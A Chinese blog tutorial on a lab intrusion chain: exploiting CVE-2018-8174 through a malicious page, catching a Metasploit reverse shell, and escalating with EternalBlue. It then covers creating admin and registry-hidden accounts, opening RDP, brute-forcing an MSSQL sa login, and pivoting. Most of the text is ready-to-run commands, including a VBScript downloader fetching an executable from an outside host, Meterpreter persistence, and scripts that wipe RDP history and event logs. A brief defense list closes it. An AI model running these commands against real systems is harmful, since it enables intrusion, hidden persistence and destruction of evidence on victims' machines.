ssrf漏洞内网渗透_CVE20188174漏洞复现及内网渗透攻击

5f75390fb3319bb4bdb12f4bb249809d.gif

本文涉及的知识点: CVE-2018-8174漏洞复现内网渗透权限维持脚本编程痕迹清除端口转发利用MS17-010提权

CVE-2018-8174漏洞简介

CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码,该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

Persistence后门

Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用  它创建注册和文件。
参数解释:

  • A: 自动启动Payload程序

  • S: 系统启动时自动加载

  • U: 用户登录时自动启动

  • X: 开机时自动加载

  • i: 回连的时间间隔

  • P: 监听反向连接端口号

  • r: 目标机器IP地址

环境搭建

拓扑图

21989211250552bf426628c5ecd13189.png

Win server 2008 对Windows 7开启1433端口

  1. 选择“打开或者关闭Windows防火墙”把防火墙打开,然后选择“高级设置”,选择“创建规则”来指定端口。

  1. 在“入站规则”里选择刚才创建的规则,名称是“1433”,如下图所示

1aa77beb27e3a5ac93b5da5f48cde2c4.png

3.在属性对话框中,选择“远程IP地址”时,使用Windows7 的IP地址:172.20.10.177,配置完成后,Win server 2008 对Windows7成功开启1433端口

06e9482e454e82a0bb4e2d91febb984a.png

内网攻击过程

1号机获得2号机的权限

利用CVE-2018-8174漏洞获取2号机(Windows 7)权限,添加攻击者用户

  1. 从github上克隆CVE-2018-8174的EXP到Kali Linuxgit clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

1d75ec5791be8b7b5598a236fb0c5a0c.png

2.生成恶意html和rtf文件cd CVE-2018-8174_EXP/

python CVE-2018-8174.py -u http://192.168.114.130/exploit.html -o exploit.rtf -i 192.168.114.130 -p 4444

44ab4e5a30ded7c41363d274eef58c46.png

3.将恶意html文件移动到网站根目录,启动apache2服务

cp exploit.html /var/www/html/
service apache2 start

4c618794802556433a75e8ee1882766b.png

4.新打开一个终端,生成MSF监听

msfconsole -x "use exploit/multi/handler; set PAYLOAD Windows/shell/reverse_tcp; set LHOST 192.168.114.130; set lport 4444; run"

a4b513a296145e608c7f33eda8debd68.png

5.受害者点击恶意链接

7c50ef112dc3bcaf0c9bb076e7165ba3.png

  1. 在kali里接收到了shell,可在meterpreter中管理shell
    发现非管理员权限

6a44c433402a56f29b78ec6987b780a2.png

ee57d67311e97bb8143da524a774e0fc.png

7.使用MS17-010模块进行提权
use auxiliary/scanner/smb/smb_ms17_010

2ff96789324190a3d8587ff7680effbf.png

在运行该模块之前,需要设置相关选项,我们使用show options查看配   置信息

6b464cd7e5b9b1afa003d8273bdea425.png

  1. 需要设置目标地址,设置命令:set RHOSTS 192.168.114.138

    b4d94c77a992a620e580fa627e68a59e.png

9.设置完成后,执行run或exploit命令,等待执行结果,发现存在永恒之蓝漏洞

5c210bad5e8d511a51a04733b3b78b01.png

10.使用漏洞利用模块

use exploit/Windows/smb/ms17_010_eternalblue

c7048023429229067b6e3a80f05ef24e.png

11.查看配置信息,并设置标记为yes的属性,show options,目标机host   地址:192.168.114.138,set RHOST 192.168.114.138

0768b4783cd647e35ab02fed33895974.png

  1. 选择载荷payload,也就是shellcode,此处我们选择回连至控制端   shell的payload

set payload  Windows/x64/meterpreter/reverse_tcp

1b40888652a8e1d97eac3a746395a94d.png

同样,载荷也需要进行配置,show options查看配置信息
配置中缺少本地主机 LHOST,设置一下

set LHOST 192.168.114.130

0e8e4316051f42a349ca555f9bc4f1da.png

aa38cf53eb39104cd6795de9b1187c88.png

13.完成配置后,运行exploit或者run,开始执行漏洞利用模块
成功获取来自目标主机的Session会话

1690536fd5c7629c012adf5073ecf9f9.png

14.查看受害者机器相关信息

2e79f7ef3458e38f5caee9098bfcce7c.png

15.成功使用MS17010获得系统权限

02989e023433c3d942b70afe7f7c1834.png

16.发现未开启3389端口

e7cab5bf6efa47631f8c6c04a4a51798.png

17.添加3389入站规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP  dir=in localport=3389 action=allow

96480fde76da1dbef04e0753ae45cd8d.png

18.开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server     /v fDenyTSConnections 

6793b4f7d4f1eafed217dac43580702a.png

19.成功打开3389端口

a7a082ad2a0167148de3974d6b39c314.png

20.创建管理员用户Waldo

net user Waldo 123456hhhh. /add

net localgroup administrators Waldo /add

f917241c10f9cd4a0cf7cfb00a2e623f.png

21使用Waldo账户远程登录portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

6e8500a34f591db911b9b1144b7d9348.png

rdesktop  127.0.0.1 -u Waldo -p 123456hhhh.

698d6b8de9c9395f947dc40069bebfaf.png

添加超级隐藏管理员账户

net user test$ 123456 /add

net localgroup administrators test$ /add

6d2d6714750789e8a2bc9b7f3d534fe7.png

但在管理账户面板依然能够看见,下面要解决这个问题

4bffa008adc5505572321699e643cc12.png

在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找  到新建的帐户test$

获取默认类型为0x3ec,将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg

在注册表下能够找到对应类型名称的注册表项    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC

9a0c0cc06ae6823b741d5fd1fbaa3b6b.png

右键将该键导出为2.reg,保存的文件信息如下图

76afcadafb6d131987ff8ef8be9eaede.png

默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
同样,右键将该键导出为3.reg

将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值

替换后,如图

4e4b6721670010da72e3419ea80d0ae6.png

命令行删除特殊账户: net user test$ /del

导入reg文件:

regedit /s 1.reg

regedit /s 2.reg

隐藏账户制做完成,控制面板不存在帐户test$

通过net user无法列出该帐户
计算机管理-本地用户和组-用户也无法列出该帐户
但可通过如下方式查看: net user test$

c7cf07c51fb47b1423680c1b03008aad.png

命令窗口打开后,键入net user test$/active:yes。输完后按一下回车键看到“命令成功完成”信息即表明超级隐藏账户test$ 账户已启用

端口转发:portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

使用超级隐藏账户登录:rdesktop 127.0.0.1 -u test$ -p 123456

834f216a8668b995275ca801f1432cd7.png

Windows 不会显示隐藏账户

907a2a5143c5ab55715e02a4e416f5bb.png

使用vbs脚本上传SQLTOOLS.exe

脚本如下:

url = "http://wjs001.cn/lcx.exe"    '网络上的文件地址saveas = "c:\lcx.exe"                '保存成的本地文件Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象Call xmlhttp.open("GET",url,False)'打开连接Call xmlhttp.send()'发送请求stream.mode = 3 '设置数据流为读写模式stream.type = 1     '设置数据流为二进制模式Call stream.open()'打开数据流Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流Call stream.savetofile(saveas,2)'将数据流保存为文件'释放对象Set xmlhttp = NothingSet stream = Nothing

在shell下,创建文件夹: mkdir C:\\hack\\

将脚本上传到创建好的名为hack的文件夹下:

meterpreter > upload /root/down1.vps  C:\\hack

ae824e94415c33a9d30c3696bab7c47d.png

查看C:\hack确认上传成功:

2b42e115c81d6b25d7cb0275a7e816c6.png

运行cscript down1.vbs,上传SQLTOOLS软件:

1f9ddd4f7d9cae790701b21ba263493d.png

Kali对Windows 7(192.168.114.138)的权限维持见**权限维持**模块

从Windows 7进攻Windows server 2008

对Windws server 2008的sa账户进行爆破

  1. 使用nmap扫描发现172.20.10.208开了1433端口

nmap -p1433 --open 172.20.10.0/24

c0570ae50b0a3d2170c84c012ae7df86.png

  1. 使用ms-sql-brute模块对Win server 2008的sa账户进行爆破,获得用户名为sa,密码为123456

name.txt和password.txt是爆破用的字典

nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo\Desktop\name.txt,passdb

ea98f2a910113f7bdd64b5dc0dd841e9.png

利用sqltoos获取Win server 2008 的权限

  1. 使用sqltools进行sql连接

33011143f64f204da7410a08b6d4e98b.png

2.用xp_cmdshell关闭防火墙限制

netsh firewall set opmode mode=disable

513ff70e9e3da533a255cb4df34aee12.png

3.添加3389入站规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=

8158f7d7a8d027e82e81eba658c3520c.png

4.开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DW

7c4513cf4716568b6df491ce523f4fa9.png

8213e8ce37f0b5d7ff4406b9574eb1de.png

  1. 创建管理员用户Waldo6TEST

net user Waldo2008 1234567hhhh. /add

net localgroup administrators Waldo2008 /add

8710ca98edc7af3390ea92c503214e52.png

db74c4b7f63645c487f89bf59f64b17e.png

Windows 7中远程登录Win server 2008

1,在Windows 7 使用用户名Wado2008T 密码1234567hhhh.成功登陆Win server 2008

eac563a0fc50beb1061014bc33fde9e6.png

权限维持(Kali到Windows7)

run persistence -X -i 5 -p 1121 -r 192.168.114.130,这里在Meterpreter会话中运行persistence后渗透攻击模块,在目标主

机的注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加下图中倒数第一个[*],达到自启动的目的,-X参数指定启动的方式为开机自启动,-i参数指定反向连接的时间间隔

923ddd35ddd7d4750eb44ac39a20bafd.png

然后建立Meterpreter的客户端,在指定回来的1121端口进行监听,待Windows 7(192.168.114.138),等待后门重新连接,具体操作命令如下:

msfconsole 
use exploit/multi/handlerset PAYLOAD Windows/meterpreter/reverse_tcpset LHOST 192.168.114.130set lport 1121run

4f371e061cd073fa6583cd36cd94f955.png

痕迹清除

使用清除远程连接历史记录的BAT脚本

3e7de59643cccb9a309a0509e4168045.png

6a14da074bd280972255343e31575a77.png

e9db9265931673706221e5f84281cc0a.png

clearev命令

未清除时Windows 7(192.168.114.138)中的日志

a51ee778a6f331a5ccfed89bb58968b1.png

9101057372bdbf490927ff004d469c8a.png

4b7aaf833b68a5fed0efb64ac17c67fa.png

脚本分析

目标机器下载程序的vbs脚本

注: 使用service apache2 start将kali linux apache2服务打开,可以使之充当服务器,将需要上传的文件放在/var/www/html目录下

url = "http://192.168.114.130/SQL.exe"    '网络上的文件地址saveas = "C:\hack\SQL.exe"                '保存成的本地文件Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象Call xmlhttp.open("GET",url,False)'打开连接Call xmlhttp.send()'发送请求stream.mode = 3 '设置数据流为读写模式stream.type = 1     '设置数据流为二进制模式Call stream.open()'打开数据流Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流Call stream.savetofile(saveas,2)'将数据流保存为文件'释放对象Set xmlhttp = NothingSet stream = Nothing

清除3389远程桌面连接记录的批处理脚本

@cls ::清屏
home.php?mod=space&uid=65712 0b ::设置默认的控制台前景和背景颜色
::REM清除mstsc历史记录echo off ::echo off执行以后,后面所有的命令均不显示,但本条命令是显示的
mstsc
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f 
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /fcd /d %USERPROFILE%del *.rdp /a/s

解释:
/f: 不提示
/a: 删除隐藏文件

如何防御

1.不要打开任何来源不明的链接或Office文档

2.及时更新并安装微软发布的最新补丁

3.定期查看日志和管理用户界面

4.及时更新杀毒软件,并对计算机进行杀毒

bd09c947d61c8e5ad94603a57d8c47ff.gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值